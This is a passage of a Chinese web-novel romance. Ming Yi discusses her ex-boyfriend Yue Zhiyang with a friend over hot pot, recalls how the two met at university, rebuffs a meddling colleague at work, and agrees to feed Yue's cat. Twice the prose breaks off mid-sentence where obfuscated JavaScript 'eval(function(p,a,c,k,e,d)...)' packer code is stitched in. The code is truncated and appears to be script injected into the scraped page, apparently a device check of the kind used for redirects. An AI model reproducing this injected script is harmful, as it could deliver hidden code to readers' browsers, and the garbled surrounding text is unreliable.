这瞬间,明翊忽然意识到:重逢至今,这已经是越之扬问的第二遍—— 我们是什么关系。 第一次是这人带着猫刚搬过来那天,二人剑拔弩张。她又刚下班,本来就烦,又误以为对面是不怀好意的犯罪团伙,精神状态紧绷到极致,说出的话自然不怎么中听。 如今发觉越之扬也没那么恶劣,又是主动送失物又是让她蹭饭。 也不算彻底的一无是处。 加之又是自己先说错话,明翊这次不打算和他抬杠,想着稍微释放些善意的信号,索性顺着对面的话往下接:“应该算——” 目光定在手边的碗筷,她不自觉一顿,又在越之扬稍显冷淡的目光里试探性开口。 “一起吃饭的普通邻居?” “……” 不然还能怎么说? 提前男友这人怕是又要生气。 明翊觉得这回答还挺善意,毕竟她都已经主动暗示可以接受和他做邻居了。 但场面照旧僵持。 越之扬应该是没体察到这层友好意味,周身气息还是不怎么顺。他冷冷笑一声,又忽地上前,明翊当即警觉往后退了半步,但她就站在流理台和门板的夹角。 退无可退。 熟悉的气息铺天盖地般席卷而来,视线里出现他线条流畅的侧脸,明翊微微睁大眼,莫名觉得这场景很是熟悉。 “你做——” 话刚开了个头。 越之扬就微弓下腰,手臂直直越过她,语气冷淡:“既然如此,那就少浪费你家邻居的水。” 哗啦的水流声霎时一静。 被这么提醒,明翊才发觉自己光顾着和他说话,都没顾得上水龙头已经开了大半天,水淌了几乎满池。 越之扬也很快站直,身侧气息倏然散开,他的脚步声也同时远去。 收拾完流理台,关禁闭的猫猫也被刑满释放。 明翊以为经过刚才的事这人大概率会毫不留情地将她扫地出门,却没成想,越之扬居然还能毫无芥蒂地放猫给她玩。 他似乎有事,将猫扔进她怀里后就直接转身进了卧室。 看着卧室门关上,明翊才慢吞吞走到沙发旁坐下。 平心而论她其实也没多热衷于萌宠,应下这条件也只是为了让彼此不要显得太尴尬。 昨天不小心打了越之扬手腕一下,如今也实在没办法袖手旁观。 可这人又很爱脑补再嘴欠地扯些有的没的,光一个「负责」能不厌其烦地提上八百回。 明翊是真怕了他了。 也只能借这个冰冷的交易打消对面多余的念头。 但意外的,她的猫缘似乎还不错。 这猫趴在她腿上就不肯走了,明翊先是拿着逗猫棒陪它远距离玩了一会儿,等到差不多能适应才逐渐上手。 手感似乎还不错。 小猫被越之扬养得油光水滑,毛发柔顺,性格也很是亲人,一碰就会发出轻微的呼噜声。 明翊摸着摸着就开始走神,她是真有些好奇越之扬怎么忽然就养起猫来了? 似乎是嫌她不够专心,撸猫还在想些有的没的,猫猫很快又翻个身将肚皮露出来,明翊怔愣半晌,才反应过来这是想让她帮忙挼肚子。 默默盯着看了有一会儿,明翊总觉得,这猫有点怪。 业务未免太熟练了。 看着不是很清白,像下过海。 没多久,明翊就有些兴致缺缺,又记起钟以晴先前提过的朋友圈集赞。 她点开微信,正好看到孙卓然回复:【okk,学姐,已经帮你点了】 刚准备截图给钟以晴发过去,明翊目光一定,忽然发现点赞那一栏倒数第二个头像…… 似乎是越之扬。 她不自觉怔住。 差点以为自己幻视,不太敢相信地顺着那个暗色头像点进去,结果直接跳转进这人的微信名片页。 这感觉,还有些难以置信。 就像是原本没抱期待,结果自己赫然就在转正名单上。 心情一时有些古怪,明翊忍不住又多看了两眼,发觉越之扬的头像似乎还排在孙卓然那个海绵宝宝动漫头的前一位。 所以,越之扬的点赞时间,竟然比孙卓然还要早。 也就是说。 在这人站在流理台边质问的时候,他就已经提前帮她完成了朋友圈集赞任务。 “……” 那他半个字不肯多说,光顾着和自己吵架算怎么回事。 谁需要他这样做好事不留名了! * 隔天,明翊和钟以晴坐在那条三十个赞换来的火锅店聚餐。 “所以你的意思是——” 对面倒吸一口凉气,“你脑子缺根弦的前男友不仅把猫放到你家隔壁,现在自己还住了过来,并且你非但不生气还跟个菩萨似的帮他洗菜刷碗打火锅!?” 钟以晴无法理解,但对此表示大为震撼。 “姐妹,你去医院确诊过了吗?” “确诊什么?” “…恋爱脑。” 对面的手隔着汤锅直直伸过来探上她的额头,明翊一时有些无言,抬头扫视一圈,尴尬得恨不得将脸埋进锅底:“…求你,小点儿声。” 二人面前摆着热腾腾的火锅,服务生刚将菜品上齐,因为是假期,食客也多。 这么一番惊天言论直接抛下,周围几桌几乎是瞬间闻风望来,连服务生打算离开的脚步似是也暂时放缓。 钟以晴很快意识到不妥,但还是忍不住压着声音吐槽。 “你那个前男友消失这半年是不是跟人学怎么下降头去了?” 明翊:“……” “你、你以前也不这样啊,就一个男人,不至于吧?” 明翊有点后悔起自己找钟以晴商量的想法。 这人短短几句话,将所有人痛快霸凌了一遍。 明翊隐约有点明白自己之前为什么能忍越之扬那狗这么久了。 “真不是你想的这样,我没打算倒贴。” “这还叫不打算??” 明翊语气诚恳:“真没这打算,有的话你直接打死我,好吗?” 她捏着筷子认真想了想,最终为了在好闺蜜面前保住自己的清白还是选择将此前在LiveHouse的经历和盘托出。 谁料听完前因后果,钟以晴的语气并没有因此好转,反倒更加生气了。 “所以那天那个被骚扰的女顾客是你?!” “这么大的事你都不跟我说一声,你们还闹警局去了我的天,都这么严重了你一句话不说,把我撂那儿跟个傻子似的,有你这么当朋友的嘛!” 明翊被怼得有些心虚:“我那不是看你玩得还挺开心,就想着不要扫兴……” “玩玩玩,就知道玩!家都要被你玩散了!” 明翊也自觉理亏,很快朝对面露出个讨好的笑:“我下次不这样了,真的,我保证。” 钟以晴没好气地翻个白眼,却也拿她没办法。 从小到大,明翊似乎都是这么个性格。 二人一路从小学升上来,高中虽然不在同一所学校,但也同在江宁,直到大学四年才算是相对长久的分别。 虽然对闺蜜的感情状况略知一二,但具体情况明翊从没提过。 钟以晴不知道她在她那个傻缺男朋友面前会不会袒露心声,但她其实不常听明翊讲起自己的事。 在她面前的明翊总是绷着一根弦,不太会显露自己真实的情绪。 更准确来说,她似乎对所有人都是这样,用淡然与疏离堆出一副温和的假面,将所有一切通通隔绝在自己的世界之外。 她似乎不太擅长和人诉说,无论是好或坏。 再大的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这能叫不差,这能直接下海的程度好吧?!” 顿三秒,明翊弱弱反驳:“也没那么夸张吧……”下海什么的,倒也不必。 钟以晴瞟她一眼,语气不满地哼哼两声:“你们长得好看的单独一个世界就算了,怎么连审美也跟普通人有壁?” 明翊:“……” 过了一会儿。 她捏着筷子若有所思:“长成这样确实也没必要死缠烂打,所以你说他这么费劲是为什么啊?” 明翊也困惑:“对啊,为什么啊?” “你们分手分得愉快吗?” 明翊觉得这话很有歧义,谁家分手能分得愉快,又不是买了保险对方还意外身亡继承巨额财产。 但实在有求于人,这次明翊没按先前的说法欲盖弥彰:“不太愉快。” “怎么个不愉快法儿?” 明翊顿了顿,再开口的语气迟缓而平淡:“我当时因为害怕,说了很多不好听的话。” “怎么会害怕,那不是你男朋友么?” 明翊也觉得自己有些莫名其妙:“挺离谱的是吧?但当时,我们吵架吵得很凶,他可能是想拉着我让我好好说话——” 停顿半刻,明翊又扯了扯唇继续道。 “但我以为他是想对我动手,所以说了很多难听的话。” 钟以晴忽地沉默下去。 “笑笑,你……” 明翊冲她摆摆手,忽略掉对面心疼的目光,“早没事了。其实他人还挺好的,听我那么讲也没动手。” 这想要转移话题的意思太明显,钟以晴也只好顺势问:“所以你当初到底说什么了?” “我当时对他说——” 明翊抿了下唇,面上闪过些许尴尬:“玩够了。” 钟以晴:“?” 钟以晴:“……” 静默三秒,对面爆笑出声。 “哈哈哈哈,你居然还能说出这种话。” “你俩吵着吵着就没笑起来嘛?” “不行,太好笑了。” 明翊快坐不住了。 “平时写文案的时候浮夸点儿也就罢了,毕竟你们学文的是有些莫名其妙的文艺腔在身上。”钟以晴终于收住笑,“不过说这种话,他还真信啊?有些离谱吧,谁一玩玩两年,有这时间拿去干点什么不好。” “大概吧。”明翊顿了下,“因为他当时看起来,还挺伤心的。” 这个词陡然冒出的瞬间,连她都不自觉诧异。 在此之前,明翊始终将越之扬的表现归咎于愤怒,但或许是因为跟钟以晴的闲聊,她忽然意识到。 情绪的表达并不一定是合乎常理的。 自己会因为害怕口不择言,表现得比平时更锋利; 越之扬似乎也同样。 他不是不伤心,只是这份伤心表现出来时化为了对现状无能为力的愤怒。 想到这,竟不禁有些失神。 场面就这样没来由的沉闷,片刻后,钟以晴又开口:“那还挺可惜的。” “…可惜什么?” 明翊被她这发言吓了一跳。 “既然你是因为害怕,那就说明你当时的决定并不一定是出于理智的选择。”对面叹口气。 “至于你那个傻缺前男友,你说出这种鬼话,”钟以晴举着筷子随口分析,“他都没让你先上医院去看看脑子,竟然信以为真,那是真的爱得很深了。” 这瞬间,明翊攥着筷子使劲握了握,不知是不是错觉,手指竟有些发僵。 下意识不想认同这说法。 “有没有可能不是因为这原因。”她平静开口。 爱不爱什么的,实在太吓人了。 “他也有可能是,”明翊缓慢仰起脸,试图征询对面的认同,语气温和至极,“脑子不太好使?” 钟以晴:“……” 连那么明显的暗示都听不出来。 27. 27 晚七点,二人在地铁口分别。 钟以晴看着明翊踏上回程的地铁,等待李澄一会儿来接她。 临走前又记起圣诞那晚的事,明翊很是隐晦地暗示,让她最近多注意着点男朋友。 钟以晴闻言一怔,反应过后忍不住就有些失笑:“我更担心你好不好!刚刚我也就是随口乱说的。” “毕竟分手也不可能单单就为这么一句气话,你当时肯定还有自己的打算。姐们儿也就只是单纯对你的人格魅力表示肯定,不要老觉得自己不行!” “咱长那么好看,怎么就不值得人惦记了?” 明翊弯唇冲她笑。 钟以晴又揶揄道:“不过我看你这也挺坚定的,根本不需要我操心,对面违章建筑都盖好了你估计也会视而不见然后一脸淡定地拨打举报电话。” “所以,你就继续当他脑子有病好了。” “……” 有时候,明翊是真觉得她这比喻能力强得可怕,干广告有点屈才了。 “但万一他要真厚脸皮住下去可怎么办?” 钟以晴还是有些放心不下,“虽然好像是没什么影响,但总这样也不方便不是?你这万一要是谈个新男友,抬头不见低头见的,多尴尬啊。” 像是没听到般,明翊直接忽略她后半句话:“不会。他这人傲得很,大概是真不小心选错地儿了,等租期一到,应该就会搬走。” 明翊对越之扬的性格尚有些了解。 知道他不是那种三番四次被人无视还会主动往上凑的类型。 “希望如此吧。” 钟以晴看她一眼,又嘿嘿笑,“不过要是你住我对门,我是肯定舍不得搬走啦!” 明翊:“……” 搭上地铁后,明翊又暗自分析了一遍现状。 之前她总揣度越之扬别有用心、大概是怀揣着不太妙的想法故意搬过来给自己添堵。但仔细想想,除了重逢当晚那则欠抽的短信和此前的朋友圈之外,这人最近还挺安分。 ‘猫屋’安置好近一周,也只有昨晚来过。 似乎是真没任何多余的想法。 而他现在这态度,也很快将明翊自作多情的念头打消。 在明翊眼里,越之扬这个人从来也不是多长情的类型,就算真想在一棵树上吊死,外界情况似乎也并不允许。 他人气太高,无论走到哪儿都只有别人惦记的份儿。 直到现在明翊还能记起当年滨大校庆晚会的盛况。 因为乐队风格问题,这人不常在校内演出,可一旦演出,几乎能霸占当夜表白墙的半壁江山。 关于他们的熟识,状况是真荒唐得有些过分了—— 那场尴尬的初遇过后,明翊自认不会再和这等奇人异士有什么交集。 滨江大学每年光新生就有近四千,不算研究生单本科四个年级加起来人数也远超一万。况且他们一个文科一个工科,八竿子打不着的专业,倘若不是因为陶以欣,大概这辈子也不会碰面。 可在那之后,明翊倒是时常听见这人的名字。 从陶以欣口中,从形形色色的女生口中,从偶然刷过去表白墙‘求捞帅哥’的空间动态里。 明翊对这些事兴趣不大。 可突然有一天,一个陌生号码添加了她的微信。那微信名极其简短,只一个简单的字母:Y. 明翊以为是社团或是学生会那边有什么人找她,很快通过。 可等了大半天,也没动静。 直到晚上,她已经快将那陌生账号的朋友圈翻过一遍,没找到任何可以证明身份的蛛丝马迹。 其实也没什么好翻的。 那陌生账号的朋友圈干干净净,连微信背景页都是统一样式的默认图片。 就在明翊怀疑这莫名其妙加她的人是不是又把她给莫名其妙单删了,那边忽然就诈尸了。 Y.:【?】 Y.:【你,找我有事儿?】 明翊懵了。 这人怎么还抢台词啊。 难道不是他先加的她吗? 于是,她小小地纠结了一番才回复:【那个,好像是你先加的我……】 Y.:【哦,我知道】 Y.:【我听别人说你有事找我。所以,是什么事?】 不是。 大哥你有病吧? 还没等她对此发表质疑,那边又接连几条消息弹过来。 Y.:【那天故意往我身上撞,不就是为了加我微信?】 Y.:【那怎么还加一半跑了?】 “……” 好,破案了。 这似曾相识的讲话方式,这再也找不出第二号的嚣张性格。 明翊想自己早该料到的,她单知道和他当面交流会令人失语,殊不知隔着网线也能被迎头痛击。 越之扬。 好不普通,但无比自信一男的。 明翊罕见地沉默住,再联想当天场景,莫名有种自己被碰瓷却无处申冤的无力感。 但事已至此,既然不守株、兔子也会主动送上门来,明翊决定索性就趁此机会将陶以欣的事和盘托出。 虽说那天室友几人并没有及时上前帮忙,但事后陶以欣有向她解释,说当时的场面实在混乱,她们一时没反应过来。 等到回神明翊已经和越之扬聊上了,几人还以为她正在要微信,也不方便打扰。 因此这事就这么过去,明翊也没多在意。 再次重遇越之扬,已没了初见时的忐忑心情。 隔着网线很多事说起来似乎也没那么难为情,很快向对面道了谢,她又说那天确实是有事,没再提乐器行兼职之类的蹩脚理由。 那边静了有一会儿。 再弹过来的,居然是条语音。 明翊短暂怔了下,很快下床去翻耳机,戴上后老老实实听完,目光不自觉就飘到对床室友摆在桌面还没来得及拆封的可乐。 这难道就是传说中的气泡音吗? 越之扬这声音,夹得够灌满一整瓶可乐了。 还得是那种2L的量贩装。 她忍不住询问:【你感冒了?】 越之扬:【……】 将内心这些莫名其妙的联想通通打消,她很快说回正事:【那个,是这样的,我当时是想问一下,你有没有女朋友?】 这一次对面回得很快,也没再弹那些乱七八糟的语音过来。 明翊暗暗松口气,为不用再多此一举地浪费时间语音转文字而高兴。 目光落定,她很快看清了屏幕上出现的那四个字。 ——也可以有。 …… 想到这,明翊忍不住弯唇笑了下。 从很久之前、他们刚认识那会儿越之扬似乎就是这么个张扬狂妄的性格,像是对所有事都游刃有余,遇到感兴趣的东西就会不管不顾地横冲直撞,丝毫不顾及旁人看法。 这世界是他作乐的大型游乐场,而明翊不知道自己在里面扮演什么角色,是旋转木马又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但这瞬间,脑海又自动跳出白天因为地铁到站被强行中止的回忆。 越之扬:【也可以有】 对着这四个简单的字,明翊思索了老半天,觉得汉语实在博大精深。 怎么能有人说话跟鬼画符一样令人难以理解? 她只能照常理分析。 听这措辞,所以现在是没有? 明翊很快回神,也没任何多余的想法,只一心想着赶紧帮陶以欣要到微信好了却这桩麻烦事。 明翊:【那太好了,同学】 明翊:【我有位室友,叫陶以欣,她说她之前曾要过你的联系方式,你应该对她还有些印象吧】 明翊:【那个,我室友对你很感兴趣。不知道您这边方不方便加她微信,互相了解一下?】 这一次,原本回复得很快的人忽然就诡异地沉默下去。 当时的明翊等了有两三分钟,也没得到回应,就在她忍不住揣测: 难不成,越之扬这是掉线了? 倏然。 冷漠得像个尸体一样的人诈尸了。 越之扬:【不方便】 越之扬:【还有,刚刚是我打错字了】 越之扬:【女朋友,我有一些,怎么?/微笑】 28. 28 明翊对越之扬的初始印象: 一位一张口就‘有一些女朋友’的花心怪。 但意外的,了解过后她发现这人私生活干净得令人难以置信,性格也没表面看上去那么不可一世。 甚至,很是赤诚善良。 初遇那天她被两人争执间踹翻的高脚椅砸伤,周围那么多人也没几个想着要帮忙,就连她还算亲近的室友也选择视而不见,最后是越之扬沉着张脸,帮她要到了医药费以及赔偿。 明翊还记得当时的情形。 那两人黑着脸骂骂咧咧、气焰无比嚣张,气氛一时有些剑拔弩张,她扶稳吧台冷眼直视回去,嘴上据理力争,心里却忍不住暗暗想着,实在要不到也就算了。 明翊不是喜欢吃亏的性格,只是太害怕偶发的冲突场景,这么多年母亲耳提面命的不要惹事也几乎将她周身所有的棱角都抹平,习惯性做一个与世无争的局外人。 只要事情不落到自己头上,别人的死活其实与她无关。 平心而论,明翊的淡然并非出于坦荡无畏,而是不近人情的冷漠疏离。 但偏偏,就是这么不巧。 在对面彪悍体格的无形震慑下,明翊正打算作罢,身后准备离去的越之扬忽地皱眉看过来。 “不想赔是吧?” “浩子,把监控调一下,”他朝吧台边站着的调酒师微抬下巴,又冷声道,“报警。” 本就紧张的气氛一时陷入僵局。 明翊也被他这不由分说维护的态度给惊到,诧异抬眼望过去的时候,视野里出现了越之扬线条流畅的侧脸。 他不知何时站到了她身旁,以一个护卫者的姿态。 在此之前,明翊从没见过这样的人。 出现在她世界里的多数人其实很冷漠,许是长了一副看上去很好欺负的脸,明翊没接收到多少无缘无故的善意,偶有亲近,也总有所图谋。 她也不能过多地去要求些什么。 可对于自己这么个仅仅是初见且完全不相干的人,明翊是真没想到,越之扬肯替她出头。 甚至前不久说的那番话,听起来实在不算多真诚,像是在—— 存心戏弄他。 明翊抿了下唇,在那一刻,心脏似是重重跳了一下。 控制不住地、颤动。 她向来不是很有胆色对上这样的成年男性,孤身一人远赴外地上大学,这状况算不上多惨,倒也确实举目无亲,几乎没多少可靠的依仗。 虽然有室友在,室友看上去却并不靠谱。 可越之扬,明明他们只是第一次见。 他甚至连她的名字都不知道,却在这样的情况下将属于她的那部分合理赔偿就这么要到了手。 越之扬垂眼将钱递过来,声线一如既往的淡:“你点点,看够不够,不够的话我们再要。” “……” 明翊讷讷望向他。 这发言听着实在是很像恶意勒索的恶霸,身后那两人嘴里不干不净骂了什么,越之扬却视而不见,就这么一直注视着她。 也是这一刻。 明翊发觉,他的声音其实很好听,是很温暖干净的音色。 而她也是头一次。 被人这么无条件的维护。 * 隔天就是工作日。 明翊坐到工位上时已暗自整理好情绪。 不知道前男友是什么时候变成现在这副模样,但说到底似乎是跟她没多少关系,也轮不到她来置喙。 或许是因为对男性群体暂时性整体失望,明翊几乎是瞬间打消了谈新恋爱的想法。 至于跨年当晚林苗苗搞出的那事,也只能冷处理。 她不可能因为这么一点破事就跟公司老人翻脸,那等于直接断送还有可能的转正机会,而明翊目前也没办法手段高明地把林苗苗直接搞走人。 许多员工间的私事,只要不影响项目进度,上级根本不会管。 更何况这一切都发生在工作时间之外,说破天了也仅仅是做事没分寸,丝毫影响不到公司效益,除了自己长个心眼儿、多加提防外明翊似乎也再没别的办法。 毕竟连点确切的证据都拿不出。 林苗苗显然是这方面的老油条,也完全不把这事放心上,照旧跟明翊欢欢喜喜地打招呼,还送了她一块抹茶蛋糕。 明翊平静对上她视线,什么也没说,等人走了直接将蛋糕放到工位底下。 她想直接扔掉,可惜没这本事。 没成想对方脸皮却厚得不行,吃过午饭明翊就直接进了茶水间,刚打算给自己冲杯咖啡。 林苗苗恰好进来。 “小翊,忙着呢?” 如今明翊也再没了跟她和颜悦色的心思,只淡淡点头错身腾出位置,又专心往自己的马克杯里添咖啡液。 林苗苗抱着杯子看了她好一会儿,忽然问:“小翊你是不还在生气呢?我看你工位上那蛋糕怎么还没动?这可是冰激凌慕斯,很贵的……” 明翊动作稍停。 静默半刻。 “苗苗姐,”她缓缓直起腰,回眸看去的瞬间不自觉眯了下眼,“你翻我工位了吗?” 林苗苗没作声。 “那蛋糕我一直放在工位最下层。”明翊只好又开口。 林苗苗面上这才闪过些许尴尬:“哎呀,我不是故意翻的,就是想借你马克笔用一下,不小心碰到了。” 实在不知该说些什么,顿了许久,明翊才温和笑一下,眼神却极淡:“马克笔在我桌面的笔筒里,苗苗姐你以后要用的话麻烦事先跟我说一声,我不太习惯别人乱动我东西。” “哎呀,我也没动别的,你放心吧!” 林苗苗目光带些闪躲,“就是前几天那事吧,姐想跟你道个歉,是我没问清楚你的意见就擅自做决定……” 明翊不是得理不饶人的性格,听对面这么说原是想就这么把事情给翻篇,像以往那样维持表面的平和。 然而林苗苗下句话又将她这念头给打消。 “所以那天那男的是你男朋友?” “你看这事整的,”林苗苗一双乌溜溜的眼望过来,试探意味明显,“你俩儿没为这事吵架吧?” 被这突然的变故给噎了下,明翊一时失语。 她不明白林苗苗到底想听什么。 她有没有男朋友跟这事儿有半毛钱关系?难道没有男朋友,就可以这么随意地把她送到陌生男性车上? 明翊不是白痴,也能隐约明白她的意思。 明明是对方侵占了她的利益。 也要审时度势地看看她背后到底有没有男人依靠,再决定是要道歉还是继续变本加厉地进攻。 想到这,心情无比复杂,一时间,她竟不知该如何回话。 可见明翊沉默,林苗苗倒像是忽然明白了什么。 “所以那个真是你男朋友啊?” “……” 明翊掀起眼看她,目光冷淡至极:“这跟这事儿没什么关系吧?” 对面却完全没有意识到自己这想法有任何问题,甚至将她目前所有的反应全部归结于情侣吵架后的不快。 “看这表情,你俩儿真吵了?” 林苗苗摆摆手,颇有些大大咧咧地‘开导’:“吵就吵了,也别为这事烦心,看看你都气成什么样了。要我说啊,这年头小年轻恋爱就是不靠谱,你那小男朋友除了长得好看点儿也没多大用处,你也没必要这么上赶着巴结他,见人来了连把伞都不敢拿……” 明翊没想到她会说出这种话。 什么叫上赶着巴结? 她没接她表哥递过来的伞难道是为这原因? 越之扬那狗都不敢这么想。 她凭什么恶意揣测。 明翊淡声打断:“这事你怎么知道?” “我表哥说的啊,他说你俩原本聊的好好的,中途你看了会儿手机情绪就不对了,车开到你家楼下又正好撞到你男朋友出来堵人。” 说到这,她忽地斜了眼明翊。 “小翊啊,不是我多事,但我到底比你大几岁,这种控制欲太强、限制女朋友社交的男人最好还是别要,不知道私底下会做出什么事。” “而且你这对象也真是,一点儿不知道体贴。” “滨江这么冷的天,也不知道来接送你,让你一个娇滴滴的女孩子一直这么辛苦地挤地铁上下班。” “况且跨年夜那天气,又下着雨,他不来接你——” 林苗苗很微妙地一顿,又笑。 “是还没钱买车呢吧。” 至此,明翊觉得自己先前所有委婉的暗示通通都是在对牛弹琴。 对方不知是真听不懂还是故意装不懂,不仅丝毫没放在心上反而倒打一耙。 毫无缘由的,明翊又因为林苗苗的话不自觉就有些生气。 她暗想,就算自己和越之扬关系再差劲,也轮不到这号人替她出头。 在这瞬间,明翊忽然意识到。 听到别人在自己面前说越之扬坏话,心里并没有那种同仇敌忾的爽利,反而隐约冒出些火气。 许是林苗苗事先坑过自己,所以如今这种明显可以归类为恶意诋毁的言语听起来极其刺耳。 水已经注满,明翊很快端起马克杯,平静看向她:“苗苗姐,我有手有脚,挤地铁这事对我来说不算什么。也没人规定,女孩子就不能挤地铁了,对吧?” “我也只是个普通人,没有丝毫攀高枝的打算。所以我觉得男朋友不来接送我也没多大关系,至少不会再发生这种不经过我同意就想把我带到奇奇怪怪的地方去的情况。” 明翊的语气平缓至极,却字字清晰,“毕竟那天您表哥送我回家,结果怎样您不是不知道。” 林苗苗没吭声。 见状,明翊又弯唇,温和冲她笑了下:“而且谈恋爱这种事是我自己谈的,不是别人替我谈的。我没觉得他对我有多差,至于别人对我有多好,这种事也不单单是停留在口头上的。” “我又不是傻子,没道理别人说什么,我就信什么。” “另外,我也不太希望您和您表哥那边把我的私事到处往外说,毕竟我和他关系也没多近。” “大家都只是陌生人,相处时得有点分寸,不要给别人造成不必要的困扰,您觉得呢?” 这或许还是头一次。 明翊和林苗苗当面脱口而出这么直接又不友善的话。 但她对这人接连冒犯到自己边界的行为实在是忍无可忍,再 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出茶水间时,隐约听见身后传来林苗苗不满的悄声嘀咕。 “什么人嘛,护的还挺紧……” 明翊没吭声,继续往外走。 她觉得自己这举动不算明智,明晃晃得罪了一起共事的公司老人,还是自己小组长,对方很有可能在暗地里给她使些绊子什么的。 换做以前的她,在转正名单还不是很确定的情况下肯定不会这么做。 大概率是继续装傻,慢慢跟这对表哥表妹磨时间,一直磨到对方对她失去兴趣。 但如今,明翊觉得除却时间之外还有很多事情同样珍贵,比方说自己的情绪,不该浪费在不值得的人身上。 她不能再像之前那样与世无争,不友善的人不会因为她的淡然与宽容自觉理亏,反而会更加变本加厉,她必须学会维护自己的利益。 而且今天这还击,也不单单是情绪上头为越之扬说话。 更多是想告诉林苗苗,不要再把她当成个傻子一样糊弄了。 随着事情逐渐明晰,很多线索也在此刻浮出水面、疾速串联起来。 此前有关转正名额的‘内幕消息’,林苗苗为什么不跟任楠乔鸢他们讲,非要煞有介事地说给自己听,还劝她抓紧。 明翊不知道林苗苗到底作何打算,她也有可能是真想让自己当她‘表嫂’,但明翊丝毫没有拿青春换前途的打算,她不需要任何人打着为她好的名义来干涉她的私人生活。 可听林苗苗今天这席话,明翊又察觉到个不妙的问题。 那对表兄妹似乎是误会了。 误会越之扬是她男朋友,而她刚才言语间对他的维护,倒像是坐实了这事。 明翊脚步一顿,有些头疼地按了按眉心。 也真是处理不周。 刚才被情绪操控只顾着反击,忘了先澄清这事。 或许还有别的原因。 在社会里打拼,女孩子总会面临这样的困境。 你说你不想谈恋爱,没有找对象的心思,甚至坦言对那人没什么兴趣,这些通通都阻止不了对方的进攻。 可一旦说自己有了男友或是已经结婚,对面就会立刻偃旗息鼓、败下阵来。 明翊清楚这并不代表对方尊重了她的个人意愿,只是因为他们屈服于另一个并不相干的男人。 她刚才也是一时鬼迷心窍,又因为恐慌,想着借越之扬多少挡一挡。 可那边会怎么想? 她似乎,又给他造成了困扰。 明翊不是很想给旁人惹来这些没必要的麻烦,尽管当事人并不知情。 但要让她现在回去跟林苗苗解释,是真有点做不到。 而且如今再去澄清,刚才一番言辞凿凿的辩白就相当于白闹。 一时间,明翊也有些拿不准,到底该怎么办了。 * 就这么一直纠结到下班。 乘地铁回去的路上,明翊掏出手机,想着跟越之扬那边解释几句。 但联想先前那状况,总觉得没办法开口。 对方已经有女朋友了,她现在闹这么一出,跟个上赶着的绿茶似的。 像是要横插一脚打算撬墙角。 一时间,明翊愁得头发都快掉了。 转念又一想,自己的社交圈似乎还挺狭窄,而且今天这么一番告诫,林苗苗那边应该会因为尴尬绕过这茬,两个人八竿子打不着的关系也不会有机会碰面。 并且,她其实不知道越之扬长什么样。 甚至连名字也并不清楚。 大不了过几天自己再说两人因为这事闹掰直接分了,静悄悄把事情带过,年末组里忙成这样也没多少人有心思惦记这档子事,应当不会出什么乱子。 这么想着,明翊也就放心下来。 刚打算退出,手机忽地一振。 越之扬:【下班没?】 越之扬:【我这几天有考试,忙着复习,没时间回去,麻烦你帮我喂下猫,行不?】 越之扬:【转账】 越之扬:【我家密码是】 越之扬:【000607】 29. 29 明翊愣了下,记起昨晚回家时看到的情形,心情一瞬间复杂至极: 【不是已经有人帮你喂了吗?】 看那女孩儿开门时熟稔的动作,还有熟悉的小熊围巾。 明翊几乎是瞬间确定,那应当就是他女友,既然对方都已经上门,明翊觉得越之扬没道理还要麻烦到自己头上。 对面几乎是秒回。 越之扬:【哦,人家说最近没空上门】 越之扬:【所以麻烦一下你】 越之扬:【行不?】 “……” 明翊几乎是一下子气笑了。 听听,这是人说的话? 行不? 当然是不行!! 她面无表情回复:【求你说点人能听的吧】 越之扬似是不解:【?】 越之扬:【不想去?可我看你上次撸猫不是还撸得挺开心,每次一进门就先问猫在不在,都没空搭理我】 明翊不知他是从哪里得出这个结论。 自己也只是例行客套,就好比去别人家作客,自然要主动询问一下对方的家人最近过得好不好。 这是很平常的社交礼仪。 虽然只是一只猫,但明翊觉得猫猫也有猫权,不能因为只是只猫就不搭理它。 但狗的话,当然可以。 对面又接连发来几条消息,似是要决意说服她。 【这回我是真走不开,所以才麻烦你】 【我家猫从小就是一只猫,那么一小只跟着我搬到离学校那么远的地方,吃也吃不好,睡也睡不好】 【肠胃还不好,一饿就开始跑酷,你也不想被楼下的住户投诉吧】 明翊懵了:【?这关我什么事】 越之扬:【我在业主群里留的你电话啊】 “……” 她现在是真想隔着网线打爆对面狗头。 越之扬不以为耻反以为荣:【我这不是不在,你住得近,万一有什么事也可以互相照应一下】 明翊完全没觉得他俩可以互相照应。 隔半秒,那边又近似弥补地补上句:【我家猫】 顿片刻,将心底冒出的无语使劲往下压了压,明翊无奈妥协:【我去喂,业主群电话给我改了!】 越之扬又嘱咐。 【如果不忙的话,你再陪它玩一会儿】 【我家猫比较粘人】 【如果一直没人摸它,可能会生病】 明翊觉得他家猫肯定是不知道自己没人摸就会生病这件事。 但既然都已经主动上门喂了,这些都不过顺手的事,出于好意,明翊还是都应了下来。 回家稍微收拾了下,她就直接前往对门。 站在门口输完密码,明翊不自觉捻了下手指,总觉得这数字有些眼熟。 她也没在意,很快进门,在门口又看到了那双粉嘟嘟的毛绒拖鞋。 拖鞋照旧搁在原地,还是那天她离开时的模样,似乎是没人动过。 明翊平静移开视线,直接往里走。 房间很干净,像是专门有人来打扫过。主人不在,明翊也没敢乱动,进屋找了一圈,没发现猫猫的踪迹。 只好又进了卧室,最后在越之扬枕头边上发现了正呼呼大睡的小猫。 明翊不喜欢睡觉时被人吵,也很会以己度人地推测猫猫应当也不喜欢。 她又轻轻关上门,放缓脚步出了客厅。 照越之扬的嘱咐在门口储物柜里翻出猫粮,倒了满满一小碗,又很是溺爱地取出罐头和猫条,通通摆在客厅的沙发边。 换完猫砂,因为还有些工作没完成,明翊只好回家取了趟笔记本。 刚登上微信准备接收文件,又记起越之扬的话,也不知他有没有把电话号码及时改掉。 明翊很讨厌这种隐私被人暴露的感觉,实在放心不下,她又点进业主群检索过一遍群成员。 结果什么都没翻到。 这么一通操作下来,忍不住就有些烦躁。 她揉了揉因为长时间在屏幕聚焦而略有些干涩的眼,正打算发短信质问,电脑右下角的微信图标忽然闪了闪。 越之扬:【骗你的】 越之扬:【根本没加业主群】 “……” 